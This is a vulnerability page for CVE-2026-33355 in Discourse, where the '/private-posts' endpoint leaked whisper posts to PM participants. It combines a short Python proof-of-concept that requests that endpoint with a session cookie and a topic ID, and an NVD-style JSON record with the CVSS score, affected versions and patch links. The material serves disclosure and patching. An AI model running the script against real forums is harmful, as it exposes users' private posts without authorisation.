CVE-2026-33355

import requests # Proof of Concept for CVE-2026-33355 # This script demonstrates how a low-privileged user can access hidden whisper posts # via the /private-posts endpoint due to missing visibility filtering. target_url = "https://target-discourse-instance.com/private-posts" # Assume the attacker has a valid session cookie for a user with access to the PM session_cookie = "_forum_session=valid_session_cookie_here" # Example topic ID known to the user topic_id = "12345" headers = { "Cookie": session_cookie, "User-Agent": "CVE-2026-33355-POC/1.0" } params = { "topic_id": topic_id } try: response = requests.get(target_url, headers=headers, params=params, verify=False) if response.status_code == 200: data = response.json() # Check if whisper posts are present in the response print("Successfully retrieved private posts data.") print("Response snippet:", data) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-33355", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:42.320", "lastModified": "2026-03-24T20:41:42.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the `/private-posts` endpoint did not apply post-type visibility filtering, allowing regular PM participants to see whisper posts in PM topics they had access to. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, el endpoint `/private-posts` no aplicaba el filtrado de visibilidad por tipo de publicación, lo que permitía a los participantes regulares de mensajes privados ver publicaciones susurradas en temas de mensajes privados a los que tenían acceso. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/84e5865a279716c6866e8c0648d1d8b42320603c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/d25b8ee9ee182dbb34e92b34e39878ce4d59bcdc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/d2f317271ad7638f1e2791905472ebd9370946d1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-g4v5-6gfp-3hjq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}